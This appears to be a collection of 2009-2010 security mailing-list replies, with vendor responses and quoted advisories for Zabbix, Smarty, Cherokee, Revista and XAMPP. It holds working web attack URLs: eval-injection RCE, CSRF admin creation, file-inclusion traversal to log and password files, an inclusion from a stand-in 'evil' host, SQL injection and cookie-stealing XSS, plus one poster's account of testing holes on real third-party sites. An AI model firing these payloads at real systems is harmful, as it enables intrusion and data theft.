As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


